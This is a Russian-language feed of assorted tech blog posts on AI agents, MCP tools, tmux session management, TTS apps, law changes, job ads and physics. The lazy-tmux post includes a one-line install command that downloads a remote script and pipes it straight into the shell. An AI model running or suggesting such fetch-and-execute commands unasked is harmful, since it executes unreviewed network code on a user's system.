Все потоки

Сегодня произошла интересная штука: я встретил вживую новый вид сотрудника - "Оператор ЛЛМ", это как "Оператор ЭВМ", он "жмакает" кнопки, но не понимает зачем.

Суть: собесил сегодня чувака на инженерную позицию. Туда-сюда, вроде все складно, тимлиду вроде нравится. Потом дали мне слово, как софтверному инженеру, и я задал ровно два вопроса, после которых все стало понятно.

1 - чувак говорил, что у него есть хоум лаба, но не смог рассказать из чего она состоит (контейнеры/виртуалки/гипервизор).

2 - чувак показал свой пет-проект, но не смог рассказать как он работает под капотом.

Почему? - потому что он "кнопкодав", "оператор ЛЛМ" - называйте как хотите.

Это очень опасная тенденция, все больше людей называют себя "архитекторами" приложений, не понимая основ технологий которые их ЛЛМ пытается применять.

Фронтенд для души, бэкенд для людей!

Были приняты меры погрузиться под воду дабы показать серьезность моих намерений в данной щепетильной теме.

Фронтенд весь такой разносторонний, креативный, местами легкий, местами настолько сложный что ломаешь голову. Напрашивается клеймо "для любителей".

Бэкенд наоборот поддерживает порядок и структурность. Меньше экспериментов и больше проверенных решений, самое то для "сделал работу - пошел спокойно домой".

Что-то не сиделось мне на месте, и я решил облегчить работу своему нейро-бро (агенту) на Windsurf/Cascade.

Поэтому было принято решение написать MCP для хранения диалогов и всего локального кода на моем компе. И что самое важное -> прикрутить к этому семантический поиск. Я частенько использую одинаковые паттерны, куски кода или какие-то конфиги в разных проектах.

Алгоритм прост как 2 пальца об асфальт:

1. Выбираем директорию

2. Разбиваем код на удобные батчи (функции, классы, структуры и т. д.)

3. Индексируем при помощи какой-нибудь embedding-модели через ollama (кстати работает достаточно быстро) или через платное API

4. Вуаля! -> агент теперь умеет искать информацию по всем локальным проектам

А также вкратце про другую MCP. Она работает примерно как Playwright, но без Node.js-зависимостей и расширений.

Рецепт опять же очень прост:

• Chrome + запущенный CDP

• Сам MCP, который умеет навигацию, клики, заполнение форм, скриншоты, инспекцию сети и консоли, исполнение JS-скриптов

Мозг: https://github.com/quonaro/GnostisMCP

Руки для браузера: https://github.com/quonaro/KlyxarMCP

Новинки синтеза речи для Андроид. В Гугл Плэй появилось приложение для офлайн синтеза речи высокого качества VoxSherpa TTS.

VoxSherpa имеет настройки “умные паузы”, тэги эмоций, и т.д. Позволяет установить в качестве системных 3 нейро-движка синтеза речи:

1. Kokoro. Мультиязычный, но русский язык не поддерживает.

2. Piper. С ним нужно дополнительно загрузить отдельные голоса для разных языков. Есть довольно хороший русский голос Irina. Среди английских голосов есть несколько очень высокого уровня.

3. Supertonic 3 TTS. Очень интересный новый движок. Полностью мультиязычный (русский поддерживает), хорошо переключается между английскими и русскими словами даже внутри одного предложения. Очень высокое качество (настраиваемо), но есть лёгкий английский акцент. Сейчас плохо работает с изменением скорости (лучше оставить на 1.0). Есть в Гугл Плэй отдельным приложением. Есть также на Гитхаб:
   https://github.com/davnozdu/supertonic-android

Вышел lazy-tmux 0.2.0!

Напомню в двух словах: lazy-tmux — менеджер tmux-сессий на Go, который показывает все сохранённые сессии деревом, но реально восстанавливает сессию с её процессами и скроллбэком только когда вы её открываете, а не поднимает всё разом. Подробнее про сам проект я уже писал раньше, а сейчас — про новый релиз, в котором накопилось много всего.

Настройки наконец переехали в TOML-конфиг. Раньше приходилось прокидывать флаги каждый раз, теперь есть файл: config gen создаёт болванку, config show печатает итоговую конфигурацию с учётом всех источников. Заодно появился контроль над тем, что вообще перезапускается при восстановлении сессии — белый и чёрный списки, причём оба матчатся как регулярки по всей командной строке.

Сильно переработал сам TUI picker: нормальная тема, поддержка мыши, цветные режимы действий, панель хоткеев по ?, относительное время снапшота. Пока сессия поднимается, прямо внутри picker’а теперь рисуется анимация загрузки, а Esc аккуратно отменяет восстановление и убивает частично поднятую сессию.

Ещё в релизе появился слой интеграций со сторонними программами, и первая из них — Claude Code. Рядом с каждой сессией в picker’е показывается живой статус: работает, ждёт вашего ответа или подтверждения, либо просто простаивает. Когда крутишь несколько агентов по разным проектам, удобно видеть, кто из них заблокирован, не переключаясь внутрь каждого. А восстановленные окна Claude сами переподхватывают свою сессию.

Из остального: проверил совместимость с tmux от 2.9 до 3.7b, починил поведение когда сервер tmux вообще не запущен, добавил фоновый демон автосейва, команду version и обновил сайт документации.

Поставить можно одной строкой:

curl -fsSL https://lazy-tmux.xyz/install.sh | sh

Есть и Homebrew с AUR. Код — https://github.com/alchemmist/lazy-tmux, документация — https://lazy-tmux.xyz. Проект ещё молодой, открытых задач хватает, так что буду рад фидбэку и контрибьюшенам!

Представлена мини‑камера и персональный тренер BodyPark ATOM, которая следит за техникой упражнений и исправляет ошибки прямо во время тренировки. Камера анализирует технику исполнения пользователя с помощью ИИ и 34-точечной модели скелета. Гаджет сам считает повторения, подсказывает голосом, если пользователь делает упражнение неправильно, и следит за траекторией грифа, амплитудой, центром тяжести и мощностью движений.

Камеру можно закрепить практически где угодно: на стойке, тренажёре, столе или штативе. Заодно встроенный ИИ составит персональные программы для силовых тренировок, HIIT, пилатеса, развития мобильности и восстановления. Стоимость цифрового тренера составляет $219.

RAG умер?

Сравнил RAG vs ReAct-агент на существующей компании на корпусе в 100+ документов.

Оценка: 0 — нет ответа, 1 — верный ответ, 2 — верный и более развёрнутый.

Итог: 83 vs 53 в пользу ReAct (OpenClaw).

Главные плюсы ReAct:

👉 добирает детали и шаги «что делать»;
👉 ходит на сайты (расписания, билеты, формы);
👉 даёт контакты, ссылки, уточняет контекст;
👉 лучше форматирует ответ.

Единственный минус — медленнее: лишние циклы ReAct. Но именно в этих циклах он обычно и добирает доп. инфу.

Больше деталей по теме в канале.

5 признаков, что процессы пора перестать чинить

Неэффективный процесс редко выглядит сломанным: работа продолжается, задачи выполняются, команда привыкает к лишним шагам, ожиданию и согласованиям. В результате все больше времени уходит на соблюдение порядка, а не на саму задачу.

Отказаться от такого процесса сложно — каждое правило когда-то появилось по понятной причине, а его отмена кажется риском. Поэтому команда продолжает исправлять отдельные части, хотя проблема уже в самом подходе.

Собрали 5 признаков, что процесс пора не дорабатывать, а пересматривать целиком.

1️⃣ Процесс занимает все больше времени

Одна и та же задача требует больше действий, участников и согласований, хотя сам результат не изменился.

Важно смотреть не только на общее время выполнения, но и на то, из чего оно складывается. Если на работу уходит час, а еще день — на ожидание ответа, передачу задачи и согласования, проблема может быть не в сложности задачи.

2️⃣ Команда избегает процесс

Люди выбирают другие способы решить задачу, потому что установленный порядок оказывается слишком долгим или неудобным.

Например, вместо оформления заявки через несколько этапов пишут коллеге в рабочий чат. Если это происходит постоянно, описанный процесс уже не совпадает с тем, как команда работает на самом деле.

3️⃣ Каждое исправление создает новые проблемы

Добавили согласование для повышения качества — выросло время ожидания. Сократили количество проверок — начали пропускать ошибки.

Так происходит, когда команда улучшает отдельный этап, но не учитывает весь путь задачи. Проблема не исчезает, а перемещается в другую часть процесса.

4️⃣ Процесс больше не соответствует работе команды

Процесс создавался под задачу, команду или архитектуру, которых уже нет. Со временем условия изменились, а порядок работы остался прежним.

В итоге команда тратит ресурсы на поддержку решения, которое не приносит прежней пользы.

5️⃣ Новым сотрудникам сложно включиться в работу

Чем сложнее процесс, тем больше времени требуется, чтобы разобраться во всех правилах, документах, доступах и согласованиях.

Если новый сотрудник несколько месяцев изучает устройство работы и только после этого переходит к реальным задачам, систему стоит упростить или пересобрать.

С чего начать пересмотр процесса

1. Определите, какой результат должен давать процесс и от каких рисков он защищает.

2. Сравните описанный порядок с тем, как команда работает на самом деле.

3. Проверьте, что произойдет, если временно убрать один из этапов.

Иногда лучшее, что можно сделать — не дополнительная проверка, согласование или регламент, а отказ от того, что уже перестало работать.

HAL 9000, ты ли это?

В «Космической одиссее 2001 года» Артура Кларка компьютер HAL 9000 практически обладал разумом и вёл себя как равный участник полёта с космонавтами. В книге компьютер плохо кончил, но именно он — первая ассоциация с «агентским смартфоном» StepX Neo компании StepFun.

Смартфон содержит ИИ-агент Step Amoo, который выполняет все запросы локально. Собственно, локальное выполнение запросов — главная фишка смартфона: получается, что он не зависит от связи, не перестаёт работать, если внешние LLM не на связи (как в случае с блокировкой Fable 5).

Разработчик реализовал собственную операционную систему Step AOS на базе Android, Linux и RTOS. Она спроектирована так, чтобы все операции на смартфоне делились на четыре категории: коммуникации, приложения, файлы и системные инструменты. Каждый запрос пользователя на естественном языке раскладывается на подзадачи и транслируется в запросы ИИ-агенту с учётом необходимого уровня вычислительных мощностей и затрат энергии. Отдельное внимание разработчики уделили безопасности и подключённым внешним сервисам для расширения возможностей системы (на простые запросы агент ответит сам, но подобрать актуальные билеты он может только при подключении к внешним сервисам — что логично).

Преимущество такого подхода — возможность обучить ИИ-агента на всех данных, которые применяет пользователь. При этом работа происходит локально, что теоретически улучшает безопасность — данные не смогут извлечь кибератакой злоумышленники из моделей типа Claude или GPT.

Идея объединить все данные пользователя и скормить их ИИ-модели, чтобы она лучше понимала и помогала ему, не нова. Ещё десяток лет назад Microsoft показывала концепцию Skype, который извлекает из диалога договорённость о встрече и добавляет дату и место в календарь. Неслучайно StepFun организовали… выходцы из Microsoft. Только напомним, что ИТ-гигант так и не реализовал эту функцию и закрыл Skype.

Пока похоже на типичный стартап, который взял популярную идею и решил её реализовать. Ждём тестирования — хватит ли вычислительных мощностей смартфона для полноценной работы ИИ-агента? Сможет ли собственный ИИ-агент справиться с потоками разнородной информации? Удастся ли обеспечить киберзащиту смартфона, в котором будет буквально вся жизнь пользователя?

Делимся с вами записью вебинара "Рабочие встречи как система: принципы и форматы"!

На вебинаре обсудили принципы и практики, которые помогают командам быстрее договариваться, принимать решения и не теряться в бесконечных обсуждениях. А также обсудили виды встреч и почему большинство рабочих встреч не двигают задачи вперёд.

В общем, лучше переходите по ссылкам и убедитесь, насколько полезный и крутой вебинар получился 😉

• VK Video

• Rutube

• YouTube

• Наш сайт

Приятного просмотра! Ждём ваши комментарии!

Задача — это файл в git, а не сообщение в чате

Предисловие. За год плотной работы с ИИ-агентами — пять проектов доехали до продакшна — у нас сложился набор практик. Разбираем по одной. Первая и базовая: где живёт задача.

Приходит, значит, товарищ к агенту: сделай, милый, вот такую фичу. Агент кивает, бодро пишет код, всё замечательно. Проходит два дня. Товарищ открывает новый чат — а там пусто. Агент не помнит ни фичи, ни уговора, ни что «готово» вообще должно было означать. У него каждое утро чистый лист. И сидит наш товарищ, восстанавливает контекст по диффу, как археолог по черепкам.

Причина простая: задача жила в переписке, а переписка не версионируется и сессию не переживает. Поэтому у нас задача — это файл в git, рядом с кодом. Он коммитится вместе с кодом, который его закрывает, и едет в той же feature-ветке.

Структура папок

Всё, что касается задач, лежит в репозитории и отслеживается git (у нас — 294 файла):

task/                  ← активные задачи (сейчас в работе)
├── done/              ← закрытые
└── history/           ← рефлексия по сессиям (отдельная практика)
plans/                 ← длинные roadmap'ы

• task/ — только то, что сейчас в работе. Незакрытое и без хвостов. У нас тут обычно 1–3 файла.

• task/done/ — задача переезжает сюда, как только выполнен Definition of Done. Не после деплоя, а сразу как критерий закрыт. Это архив сделанного: сейчас 121 задача, каждую можно открыть и посмотреть, что и как решали.

• plans/ — большие направления, которые не влезают в одну задачу. Roadmap режется на пачку мелких task-файлов; агент читает общий план, потом берёт из него конкретный кусок. Сейчас 9 роадмапов.

• task/history/ — рефлексия по сессиям. Это уже про память агента, отдельная практика; здесь только упоминаю, чтобы структура была полной.

Имя файла — YYYY-MM-DD_HH-MM-название.md, с датой и временем создания. Даёт хронологию из коробки: задачи сортируются по возникновению, имена не конфликтуют, ничего не перетирается.

Что внутри задачи

• Одна задача = одна функция. Она же — одна feature-ветка и один MR. Есть задача на эту фичу — работаем с ней, вторую не заводим: два файла на одно дело — и потом сам не разберёшь, который из них настоящий.

• Фазы со статусом. Внутри — шаги, у каждого [ ] или [x]. Сессия оборвалась — следующая открывает файл и видит, где остановились: что сделано, что ждёт, что готово, но не проверено. Состояние читается из файла, а не восстанавливается по памяти.

• Definition of Done — перечисляемым списком. Не «сделать фичу», а конкретные пункты: что именно должно работать. Без списка «готово» у каждого своё. Этот же список потом становится чек-листом приёмки: пункт → проверка → PASS/FAIL, любой FAIL — задача не закрыта.

• Итоговый блок. В конце — реализовано целиком или нет, что осталось, какие решения приняли и почему.

Скелет реальной задачи из проекта:

# Фаза 7 — калибровка порога confidence
**Тип:** chore + small feat
**Ветка:** chore/retrieval-calibration
**Зависимости:** фаза 6 в проде
**Статус:** Шаг 1 готов; Шаги 2-3 ждут трафика

## Прогресс
- [x] Шаг 1 — инструментовка. Тесты зелёные.
- [ ] Шаг 2 — сбор датасета с прода (ждёт трафика).
- [x] Шаг 3 — эвал-команда готова. Осталось прогнать на реальных данных.

## Контекст
Почему пороги пока с потолка и что от них зависит.

Что это даёт

• Переживает сессию и машину. Контекст не теряется между чатами: новый агент читает файл и продолжает с той же точки.

• Едет в ревью вместе с кодом. Ревьюер видит не только дифф, но и зачем он и по каким критериям принимать.

• Имеет историю. Кто завёл, когда, что и почему решили — в git-логе, а не в чьей-то памяти. Через полгода понятно без археологии.

• Держит остальные практики. Приёмку не сверить, если непонятно, что считалось «сделано». DoD из файла и есть этот критерий.

Мораль простая. Пока в файле не прописано, что считается «готово», любое «готово» — вопрос веры. Вера в хозяйстве вещь неплохая, но к продакшну отношения не имеет. Список превращает её в проверяемый факт.

Почтовый ящик на Госуслугах для юрлиц. Разбираем эту и другие новости законодательства.

Электронная почта на Госуслугах станет официальным каналом для юридически значимых сообщений

Госдума приняла закон, меняющий правила обмена официальными документами. «Почта России» создаст электронную почтовую систему (ЭПС) на базе Госуслуг.

Ключевые изменения:

Для бизнеса и ИП: адрес электронного ящика на Госуслугах станет обязательным реквизитом в ЕГРЮЛ и ЕГРИП.

Госорганы, ЦБ, госкомпании и юрлица с долей РФ >50% обязаны направлять юридически значимые сообщения через ЭПС (исключения: межведомственное взаимодействие, налоговый ЭДО, обращения граждан и пр.).

У всех пользователей появится возможность вести переписку через Госуслуги.

Платность: ежемесячная абонплата для ИП и юрлиц (кроме унитарных, учреждений, публично-правовых и ЦБ). При неуплате доступ приостановят. Плата за отправку сообщений - для физлиц и компаний (кроме органов власти и ЦБ). Бесплатно - для госорганов, унитарных, учреждений, а также социально значимых сообщений (пенсии, льготы, ЖКХ и т.п.).

Размер и порядок оплаты установит Правительство.

Сроки вступления в силу: закон вступает в силу с 1 марта 2027 года (основные нормы). Отдельные положения - с 1 сентября 2027 года (уведомления госорганов, платежки ЖКХ).
Документ: Проект Федерального закона № 1254384-8

Ужесточение требований к трудовым мигрантам - поправки приняты в третьем чтении

С 1 января 2027 года работающие в РФ иностранцы должны будут содержать себя и членов семьи на уровне не ниже прожиточного минимума. ФНС ежеквартально передаёт данные о доходах в МВД с 1 октября 2026 года. При отсутствии данных или доходе ниже норматива патент не выдадут либо аннулируют - иностранцам с детьми придётся выехать за 15 дней (исключение - при первом оформлении). Низкий доход за год может стать основанием для отказа или аннулирования РВП.

Жёстко, но понятно. Государство продолжает ужесточать миграционный контроль и требовать от иностранцев подтверждения платёжеспособности.

Что ещё меняется с 1 марта 2027 года: порог зарплаты для ВКС вырастет почти в 3 раза - до 717 тыс. руб. в месяц (сейчас 750 тыс. за квартал). Для отдельных категорий - 358,5 тыс. руб. Суммы будут индексировать ежегодно.

Документ: Проект Федерального закона № 1158407-8

Банки вправе заключать договоры жилищных сбережений с 1 января 2027 года

Появится новый вид договора. Банк принимает деньги от гражданина, начисляет проценты и возвращает их с процентами при оплате жилья, ДДУ или ИЖС.

Основные условия:
⦁ минимальный срок привлечения денег - 3 года;
⦁ договор должен предусматривать возможность пополнения вклада в любое время;
⦁ банк будет начислять проценты и выплачивать их гражданину.

При соответствии требованиям банк выдаст кредит на жильё. Гражданин вправе отказаться и направить средства в другой банк для взноса или погашения долга.

Жилищные сбережения застрахованы - размер возмещения 100% от суммы депозита, но не более 10 млн руб.

Документ: Федеральный закон от 04.07.2026 № 230-ФЗ

Оформить ипотечные каникулы при рождении второго и следующих детей можно с 1 сентября 2026 года

Расширят список ситуаций для ипотечных каникул. В перечень внесут рождение или усыновление второго ребенка и следующих детей.

Заёмщик сможет указать, что ему нужны каникулы максимум на 1,5 года. День их окончания не должен быть позже даты, когда второму или каждому следующему ребёнку исполнится 1,5 года.

Документы - свидетельство о рождении/усыновлении или удостоверение многодетной семьи. Мера доступна и по старым договорам. Заёмщик выбирает: приостановку платежей или уменьшенный платёж. Максимум - 15 млн руб., предмет - единственное жильё.

Хорошая мера поддержки для семей с детьми.

Документ: Федеральный закон от 04.07.2026 № 229-ФЗ

А что вы думаете об этих изменениях?👇

Сбер, ДМС и 61 тысяча: где заканчивается редактура и начинается управление знаниями?

Продолжаю разбирать вакансии, связанные с управлением знаниями и технической документацией. Сегодня смотрим позицию редактора базы знаний в Сбере.

На первый взгляд всё выглядит неплохо: обязанности короткие, требования чёткие, есть официальное оформление, обучение и ДМС. Но по описанию непонятно, что именно продают кандидату: вход в управление знаниями или редактуру статей в крупной компании? Ниже разбираю, кому может подойти такая позиция и что стоит уточнить до отклика.

Дисклеймер. Я больше 15 лет внедряю менеджмент знаний в российских компаниях. Запустил эти разборы, чтобы работодатели могли увидеть спорные места в вакансиях, а специалисты – точнее оценить задачи и подготовиться к собеседованию. Анализирую только опубликованные тексты вакансий, а не реальные процессы внутри компаний.

Начну с плюсов

Вакансия не перегружена. Обязанности описаны кратко и не создают ощущения, что на одного человека хотят возложить несколько разных ролей.

Требования выглядят адекватными и соответствуют уровню позиции. Вакансия доступна для специалистов с небольшим опытом.

Есть социальный пакет. Официальное оформление, обучение, ДМС и работа в крупной известной компании делают предложение привлекательным.

Дальше начинаются вопросы

Первый – зарплата. Предложение от 61 тыс. рублей в месяц выглядит невысоким даже с учётом региона (Ставрополь) и бренда работодателя.

Второй – обязанности описаны слишком общими фразами. Не очень понятно, чем именно предстоит заниматься. Специалист должен просто писать и обновлять статьи или ещё работать со структурой базы знаний, поиском, метриками, шаблонами и правилами публикации?

Третий – профильное образование. Кандидат должен иметь образование в области журналистики или филологии. Это заметно сужает круг потенциальных кандидатов. При этом на практике на таких позициях успешно работают специалисты с самым разным бэкграундом.

Четвёртый – мало конкретики о команде и инструментах. Также ничего не указано про карьерное развитие и процессы работы. Кандидату с опытом будет сложно оценить уровень зрелости направления.

Мой вывод

Вакансия может подойти специалисту с небольшим опытом, который хочет попробовать себя в работе с базами знаний и при этом стартовать в крупной компании. Для опытного специалиста позиция может показаться менее интересной, так как есть вероятность, что работа ограничена редакторскими задачами. Отдельный вопрос – зарплата: указано только «от 61 тыс.», без верхней границы.

Если база знаний нужна только как хранилище статей, роль действительно ближе к редактуре. Если она должна помогать сотрудникам быстрее находить ответы, снижать нагрузку на поддержку и работать как источник данных для ИИ-ассистентов, одной редактуры мало: нужны структура, правила, процессы, метрики и регулярная работа с качеством знаний.

Так что, перед откликом стоит уточнить:

• что будет основным: написание, редактура, актуализация или развитие базы знаний;

• в каких инструментах предстоит работать и какую роль выполняет база знаний;

• есть ли наставник и план адаптации;

• кто ставит задачи и проверяет результат;

• есть ли шаблоны и правила публикации;

• нужно ли работать с метриками, поиском и структурой базы;

• насколько обязательно профильное образование;

• что входит в ДМС и обучение;

• какие варианты роста есть внутри команды.

Если вы развиваете управление знаниями в компании или ищете кандидатов и не знаете, как привлечь сильных специалистов, напишите мне в личные сообщения. Посмотрю вакансию и подсвечу места, которые стоит доработать.

В пятницу опубликую полный список открытых вакансий в своём телеграм-канале Знания на завтрак. Подпишитесь, чтобы не пропустить.

Забирать или оставлять

Однажды я поменял отдел внутри Яндекса, и через пару месяцев ко мне обратились два сотрудника из старой команды. Оба были прекрасными специалистами, хотели развиваться в руководителей, но в том отделе не было соответствующих вакансий. Я же как раз пересобирал команду на новом месте, и мне были нужны потенциальные тимлиды.

Когда руководитель уходит, перед ним встаёт дилемма: забирать ключевых людей с собой или нет. Ответ зависит от того, что считать результатом работы руководителя.

• Если результат — запущенные проекты, то переход в новую компанию целой командой выглядит оправданным. Слаженный коллектив обеспечивает высокую скорость работы. Знаю людей, которые так вместе и кочуют из компании в компанию.

• Если же цель руководителя собрать команду, вырастить тимлидов и выстроить процессы, то переманивание коллег с предыдущей работы выглядит как строительство очередного дома путём разбора предыдущего.

Оба подхода имеют право на жизнь, но лично мне ближе второй. Если бывший коллега сам придёт, я могу его рассмотреть, но сам никогда не ханчу людей из предыдущей компании. Мне интересно выращивать одних руководителей, чтобы после «выпускного» набирать новых.

Что касается тех двух ребят, они успешно ротировались, стали тимлидами, собрали команды под себя, а впоследствии оба возглавили по отделу.

В Yttri я практически реализовал базовый функционал, который я в него закладывал. Вишенкой на торте стали Видеозвонки, которые вплотную приблизили проект к корпоративному использованию. Осталось дело за малым создать self-hosted. Архитектуру self-hosted я описал еще в январе-феврале 2026, но доработки основного приложения не позволяли приступить к этому этапу. Время пришло и я приступаю к детальной разработке self-hosted.

Что это даст конечным пользователям:

• возможность работать на нескольких устройствах одновременно

• работать командой с одними документами, заметками, задачами, календарями, звонками, почтой

• полностью запереть все свои данные в пределах своего сервера

• использовать корпоративную библиотеку знаний с персональным библиотекарем в виде отдельного серверного агента.

Возможности, которые открываются при таком решение просто поражают. Так можно создать документацию по проекту и отслеживать ее изменения. То на что обычно нет времени у команды при интенсивной разработке. Confluence и Jira при этом начинают казаться бронзой в эпоху стали.

Конечно для полноценной работы агента (ассистента) нужно достаточно умная модель, но мои локальные тесты на прокаченной Qwen3.6 27b и 35b с контекстым окном 262к токенов показывают хорошие перспективы, конечно если есть возможность запустить на сервере модель DeepSeek V4 Flash или GLM-5.2 с контекстным окном 400к и более серьезно увеличивают возможности агента в его работе.

В данный момент мои усилия направленны на максимальную сегментацию контекста, декомпозицию задач, саммаризацию и сжатие готовых данных, что позволяет агенту работать в многопоточном, многоагентском режиме, но невозможно дать мало а попросить много, особенно если речь идет об анализе больших массивов данных.

Конечно тестирование еще идет и я постоянно сталкиваюсь с тем, что где-то не так удобно, не правильно, тут забыл, тут не учел. Но в целом, на текущий момент детские болезни уже удалось победить.

Всем привет!

Сегодня поделюсь своим проектом, где использовал возможности открытых моделей LLM для создания автоматизированного конвейера по переводу англоязычных pdf-файлов в русскоязычные pdf. Как человек, интересующийся именно технологиями в области ИИ мне особенно было интересно максимальное приближенное к оригиналу сохранение содержимого переведенного материала, включая схемы, математические формулы, блоки кода (python) и bash-команд, рисунков (само собой), сохранение сносок, ссылок и пр. метаданных. Целью проекта было применение всевозможных доступных стеков и программ, использующих LLM в конкретной практической задаче. И как оказалось, на первый взгляд, простая задача перевода, с которой современная LLM, созданная и обученная на архитектуре трансформеров справляется на сегодняшний день блестяще, для pdf-формата оказалась не совсем простой (но и не скажу, что особо сложной).

О выборе программного стека технологий. Здесь во многом все определило глубина моих познаний и практических умений работать с LLM-моделями и тем оборудованием (потребительским, конечно), которое имеется дома. Поэтому, исходя из пары-тройки (пары) вычислительных узлов (ноутбуков) в домашней локалке мой выбор определил следующие программные и аппаратные компоненты.

Программные компоненты. Прежде всего это среда выполнения wsl. Просто работает в windows, удобна мне как новичку. В wsl установка обычной env стандартным python. И далее уже конкретные ПО для выполнения задачи перевода pdf на русский. Тут пришлось почитать в сети что есть свободное (исходя из цели использования только открытого ПО и LLM, чтобы оценить уровень их развития). Были опробованы такие программы как Docling, Marker-pdf и еще какую-то). В итоге, для извлечения из pdf в markdown формат я использовал Marker-pdf. У него имеется целый набор специализированных ocr-моделей для парсинга содержимого pdf. Marker в режиме конвейера осуществляет извлечение в указанную папку все содержимое исходного pdf в виде отдельных jpg-файлов, файла метаданных и итогового англоязычного .md файла. Для обратного процесса конвертации переведенного на русский язык ru.md я использовал WeasyPrint и Pandoc. Мой выбор - Pandoc. Сложнее, но поддержка xeLatex и куча настроек через опции командной строки и переменных окружения wsl. Pandoc - единственное ПО в моем конвейере, которое не использует LLM. И собственно, середина - перевод. Готовый скрипт на python. Перевод разбитых на части (chanks) в endpoint LLM - requests.post. Фишкой является url, который через специальный балансировщик, управляющий вычислительными узлами в локалке отправляется в requests.post. Получается параллельный перевод на нескольких узлах с  развернутыми OpenAI-совместимыми LLM. Количество узлов - сколько найдется в домашней ИИ лаборатории))). До и после отправки на перевод в LLM - чистка регулярками от различных костылей и защиты от перевода не нужных элементов (чистка колонтитулов, пагинация, сглаживание двойных переносов строк, изоляция спец. блоков от LLM блоков кода, мат. формул, кода внутри строк, приведение кода к pep8), подготовка переведенного _ru.md к сборке pdf-файла в Pandoc. В итоге - pipeline в 3 шага: Marker-pdf, Скрипт-переводчик на python, Pandoc.

Все вместе также можно запустить скриптом bash-сценария:

Использование: ./pipeline.sh <path_to_input_pdf> <output_path> [page_range]

Пример1: перевод всего Pdf-файла

./pipeline.sh /mnt/project/raw_data/embeddings.pdf /mnt/project/rendered/embeddings

Пример1: перевод первых 21 страниц Pdf-файла

./pipeline.sh /mnt/project/raw_data/embeddings.pdf /mnt/project/rendered/embeddings 0-20

Репозиторий на github DemonODG/pdf-translator: English-to-Russian PDF Translation Pipeline

Это мой первый пост на тему применения современных LLM моделей в различных практических задачах. Если это вызовет интерес в более подробном описании данного pipeline - напишу статью поподробнее.

Всем добра!

Теорема Хаага и элементарные частицы

Увидел любопытный сюжет из истории теории квантового поля. Теория квантового поля должна описывать взаимодействия и взаимопревращения элементарных частиц. На этом пути выработан формализм с использованием лагранжиана и теории возмущений, который обеспечил прекрасное описание экспериментальных данных. Тем не менее, далее была доказана теорема Хаага, которая противоречила интуиции физиков, обсуждавших взаимодействие разных элементарных частиц.

Если интуиция противоречит теореме, то по идее в физике тем хуже должно быть для интуиции. Однако в случае теоремы Хаага все пошло по-другому. Большинство физиков выбрало интуицию, а теорема Хаага оказалось на обочине теории квантового поля.

Атомизм является краеугольным камнем научной картины мира. Приведу широко известную цитату Ричарда Фейнмана:

'Если бы в результате какой-то мировой катастрофы все накопленные научные знания оказались бы уничтоженными и к грядущим поколениям живых существ перешла бы только одна фраза, то какое утверждение, составленное из наименьшего количества слов, принесло бы наибольшую информацию? Я считаю, что это — атомная гипотеза (можете называть ее не гипотезой, а фактом, но это ничего не меняет): все тела состоят из атомов — маленьких телец, которые находятся в беспрерывном движении, притягиваются на небольшом расстоянии, но отталкиваются, если одно из них плотнее прижать к другому. В одной этой фразе, как вы убедитесь, содержится невероятное количество информации о мире, стоит лишь приложить к ней немного воображения и чуть соображения.'

В квантовой механике существует принцип дополнительности частица-волна, а также проблема интерпретации волновой функции. Однако при рассмотрении теоремы Хаага можно считать, что обычная квантовая механика является идеалом атомизма, поскольку эта проблема никак не связана с интерпретацией квантовой механики.

Квантовая теория поля создана для описания квантовых процессов, связанных с возникновением и превращением частиц. В данном случае требуются специальные усилия, чтобы найти элементарную частицу как таковую в уравнениях квантового поля. Обычная интерпретация частицы в квантовой теории поля связана с репрезентацией Фока, в которой нулевое состояние поля соответствует отсутствию частицы, а возбужденные состояния поля можно связать с наличием одной, двух и т. д. элементарных частиц.

Проблема появляется при переходе к рассмотрению взаимодействующего квантового поля. Согласно теореме Хаага репрезентацию Фока невозможно использовать в случае наличия взаимодействия. Физики Стритер и Уайтмен (Streater and Wightman) выражают действие теоремы Хаага таким образом:

'Картина взаимодействия существует только в случае отсутствия взаимодействия.'

Сказанное выше не означает наличие противоречий в теории квантового поля. Речь идет только про то, что во внутренне непротиворечивой теории квантового поля с взаимодействиями нельзя найти аналога частиц в духе обычной квантовой механики. Таким образом, квантовая теория поля не позволяет создать онтологию, в которой есть элементарные частицы в привычном понимании.

Doreen Fraser. The fate of ‘particles’ in quantum field theories with interactions. Studies in History and Philosophy of Science Part B: Studies in History and Philosophy of Modern Physics 39, no. 4 (2008): 841-859.

Источник

Собираю резюме, чтобы вычислить причины отказов.

Апдейт на 22.07 (спустя неделю): 5к просмотров, ни одного письма в личку, работать не с чем. То ли мало кто из читателей попадает в очерченную мною группу (не получали ответ на отклики, или не джава-сеньоры, или например ищут не удаленку) а может таких и вообще очень мало за последнее время, то ли читателям не интересно помочь, то ли не хотят/опасаются рассказывать.

---

Хочу получить ответ, но прямой не получу.

Я 20 с чем-то лет в разработке, чего-то классного и прорывного по-моему не было, хотя были и широко известные в узких кругах продукты. Все где-то 15-20 проектов в различных стеках начиная с Win32*, сейчас - Java и микросервисы. Живу в регионах, лет 13 работаю удаленно, последние годы - в крупных компаниях.

Так вот, я конечно знаю что рынок и процессы найма - в тяжелом состоянии. Но у меня наблюдается как будто что-то другое, скорее система, чем невезение. Последние три месяца я копаюсь в рынке, откликаясь на интересные мне вакансии, которых набралось 128 штук пока что. И ни на один отклик ко мне никто не пришел. Кроме ИИ, чтобы задать какие-то вопросы. Да, речь не о проваленных интервью, а об отказе без выхода на связь, или отсутствии ответа. 128 откликов и из них 100% - в пустоту. (Тут стоит отметить, что в 2-3 достаточно контактные конторы из потенциально интересных мне я не писал, есть причины)

И конечно же, мне хочется знать, в чем причина, чтобы этот барьер преодолеть так или иначе. 128 раз подряд - это явно система. Но диалог (когда на него все же обходными путями удается выйти) выглядит примерно так: "мы не предоставляем индивидуальную детализацию по причинам отказа на этапе первичного отбора"

И поэтому я хочу сейчас попробовать другой подход. Дамы и господа Java Senior, проживающие НЕ в Мск/СПб, кто на горизонте 2-3 месяцев (можно 6, но 2-3 это более актуальное состояние рынка) получил визит рекрутера в ответ на отклик в крупные и известные компании (рефералки или прямые письма рекрутерам не в счет, только реакция на отклики в HH) - предлагаю вам написать мне в личку и поделиться своим резюме, с которым вы тогда откликались (можно было бы обезличенным, но просьба все же оставить возраст, если он был, ВУЗ, и тп - сами понимаете, это все может быть факторами отсева). Можно даже не показывать, куда именно, хотя эффективнее будет, конечно, если показать. Если получили оффер, будет здорово, если это тоже отметите. Если удастся собрать достаточно информации для каких-то выводов - опубликую фоллоу-ап.

Готовы бросить вызов киберугрозам?

